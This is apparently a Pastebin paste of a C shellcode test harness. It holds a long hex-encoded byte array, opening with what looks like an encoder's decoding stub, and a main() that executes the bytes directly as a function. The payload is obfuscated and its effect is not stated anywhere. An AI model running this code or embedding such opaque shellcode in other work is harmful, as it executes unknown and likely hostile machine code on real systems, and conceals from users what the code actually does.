Advertisement
infodox

TEST.c

Mar 21st, 2012
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.59 KB | None | 0 0
  1. /*shellcodetest.c*/
  2. char code[] = "\xb8\xc7\xd4\x8d\x67\xda\xd9\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
  3. "\xc9\x31\x43\x15\x83\xc3\x04\x03\x43\x11\xe2\x32\x6b\x8d\x14"
  4. "\xd1\xc7\x55\x12\xf0\x9c\x4d\x57\x5f\x6c\x47\x26\x9c\x0d\x92"
  5. "\x4d\x13\x6f\x13\x4d\x2e\xf2\xa4\xf7\x16\x92\xe7\x29\x65\xd3"
  6. "\x9e\xef\xfe\x7b\x1b\xea\x46\xd2\xa8\x53\xdf\xed\xa9\x49\x59"
  7. "\xc5\xb2\x6f\x46\xcc\x52\x3f\x3d\xf0\xb6\x70\x18\x7d\xe5\x43"
  8. "\xb2\x3b\x6d\x31\x14\xce\xbd\x24\x2e\x3a\x42\x11\xfd\x42\x56"
  9. "\x44\x94\x76\xa6\xaf\x8e\xa5\x92\x99\x90\xc0\xf8\xcb\x35\x23"
  10. "\x35\xa6\xbf\x7f\xcb\x61\x04\x56\x6f\x6d\xd1\xee\xde\xd6\xae"
  11. "\xb5\xde\x4a\xbd\xf8\xee\xb2\x0d\xbd\x39\x28\x52\x7a\x1a\x67"
  12. "\x0f\x8f\x91\x23\xbb\xd0\x9a\xaf\x71\x40\x8a\xdc\xd2\xfb\x99"
  13. "\x0b\xfc\xa0\x3f\x2e\x15\xbb\xb2\x17\x4b\x99\x18\x85\x15\xca"
  14. "\x55\x6d\x22\x64\x16\x72\x4f\x6a\xc4\x2d\x14\x6a\x96\x0f\x49"
  15. "\x61\x18\x88\xbd\xea\xc6\x3b\x6e\x59\x77\x71\x7a\xd6\xf7\xa7"
  16. "\xe9\x5b\x9e\x4b\x0c\xba\xc7\x1c\xdc\x71\xb3\x07\x83\xd3\x00"
  17. "\x9e\xe1\x04\x17\x3c\x74\x0b\x3a\x55\x82\x75\x40\x85\x65\x9e"
  18. "\x46\xd3\x72\xe6\x36\xa8\xe7\x8f\x15\xd1\xcc\x8e\xb1\x78\x96"
  19. "\xcf\xf2\x7b\xff\x86\x49\x0a\x6b\x89\xeb\xd1\x0e\x49\x15\xb7"
  20. "\x5c\x53\x1d\x6e\xf6\x98\x8d\xae\x86\x56\xc2\x06\x9f\x84\x1e"
  21. "\x08\xb8\x2b\x25\x6c\x62\x8c\x6b\x32\x07\x59\x89\x56\x2b\x04"
  22. "\x40\x09\x10\x81\x63\x6a\x54\xc8\xa5\xd4\xb2\x1d\x8d\x9a\x11"
  23. "\x9e\x27\x44\x7e\xc6\x49\x91\x34\x85\xe8\xdd\xbf\x33\xf0\x11"
  24. "\xff\x32\x85\xd6\xe2\x40\xea\xe3\x2f\x3d\x05\xcc\x0f\xc8\x90"
  25. "\x65\x5a\x45\xc0\x2b\x8c\xe5\xaf\xaf\xdc\xa8\xa2\x26\x4a\xc3"
  26. "\xd7\x5e\xb6\x58\x52\xc1\x2e\x8a\x66\x11\x20\x41\x6c\xc3\xd5"
  27. "\x38\x14\x3e\x18\x14\x0f\xef\xe1\xe0\x18\x6a\xa3\xf9\x9b\x47"
  28. "\x16\xe8\xe9\xad\x17\xf6\xc4\x97\x5f\x44\x8b\x87\xc7\xf0\xb3"
  29. "\xee\x30\x9a\xb3\x15\xa0\x42\x49\xf8\xca\x25\x0d\x0b\xf1\x93"
  30. "\xa5\xa8\xac\xe4\x4b\xa3\x0a\x67\x50\x7e\x19\x3d\x53\xd4\x3b"
  31. "\xb6\x35\xa3\x63\x93\xaf\x54\xd2\x34\xea\x21\x84\x05\x8a\xa2"
  32. "\xba\x24\x8b\x34\x83\x10\x11\x6e\xcc\xf0\x97\x74\xec\xd3\x16"
  33. "\x56\x02\x55\x08\xa5\x23\xe3\xb3\x48\x58\x55\x2b\x4c\x89\x11"
  34. "\x0a\x7f\xf8\xc3\xa0\x40\x13\x80\x94\xbd\xe3\x21\xab\xf5\x92"
  35. "\x12\xb1\xa6\xc7\x81\x8e\x6f\xc9\x1f\xf5\xcb\x89\x61\x79\xe4"
  36. "\x36\x61\xac\x39\xcd\xbb\x4e\x47\x7b\x0b\xa9\xfa\x65\x33\x8c"
  37. "\x26\x6b\xc1\xe4\x5e\x61\x4a\xb6\xfc\xc2\x7c\x0d\x37\x5c\x30"
  38. "\xf7\xc3\x95\x0e\xba\x33\xb3\x26\x3c\xc1\x5a\xce\xd2\x16\xe1"
  39. "\xa8\x4e\xa3\x69\xb2\x73\x03\x80\xe6\x3a\x3e\x58\xaf\x40\xb9"
  40. "\x1c\x72\xfd\x3d\xce\x91\x14\xc8\x28\x62\x8f\x5d\x2b\x7e\xb3"
  41. "\x44\xd0\xa7\x07\xf9\x99\x92\xed\xc4\x53\x9f\xc8\x53\xe0\x97"
  42. "\x5a\x50\x15\x65\xc6\x4e\x00\x91\x57\xf6\x35\x33\xe7\x4c\x99"
  43. "\xe4\xbb\xf2\xc8\x36\x56\x0a\x97\x06\xed\xfd\x74\xd5\x8e\xb7"
  44. "\xc0\x68\xab\xd1\x06\x07\x1f\x8a\x82\xdb\x2d\xdb\x89\xd9\x56"
  45. "\x9e\x9f\xa1\xd6\x10\xbc\xe4\xcb\x33\xea\x2b\xe7\x0a\xeb\x2f"
  46. "\x99\x25\x79\x42\x37\xc8\xc7\x2b\x6f\x34\x40\x10\x5c\x74\x0e"
  47. "\xee\x11\x2f\x22\xeb\xb2\xb7\x38\x00\x87\x5d\x41\x82\x1b\x72"
  48. "\xb8\xcb\x77\xd9\x2f\x73\x75\xaa\xba\xbd\xeb\x13\xce\x72\x00"
  49. "\xcb\xcd\xe2\xa7\x43\x94\xc4\x63\xd8\x9f\xeb\x84\xb3\x74\x76"
  50. "\x9c\x16\xcb\xdf\xa9\x7d\x38\xaa\xf1\x20\xb0\xc6\xcf\x94\xd6"
  51. "\x8f\xc3\xff\x86\xac\x2d\x6c\xd7\xfe\x4f\xef\x72\x80\x0d\x45"
  52. "\x5b\x3d\x62\x76\xfd\x04\x8a\xc8\x0f\x95\x31\x79\xea\xef\x83"
  53. "\x11\x71\x37\x0d\xab\xb7\xe6\x10\x26\xc5\x9f\x0b\x2c\x1d\xa6"
  54. "\x56\xa0\xaf\x67\x6e\x2c\x1c\xf6\xd5\x05\x73\xa0\xca\x54\x8e"
  55. "\xf7\xf6\x7f\x43\x86\x25\xd0\x85\xff\xbc\xff\x6b\x8e\x82\xf0"
  56. "\x0c\xa8\x3f\x55\x72\x29\xb8\x8d\xdb\x2d\xbe\xa2\x78\xab\x5c"
  57. "\xd8\x6a\x4d\x7b\x74";
  58. int main(int argc, char **argv)
  59. {
  60. int (*func)();
  61. func = (int (*)()) code;
  62. (int)(*func)();
  63. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement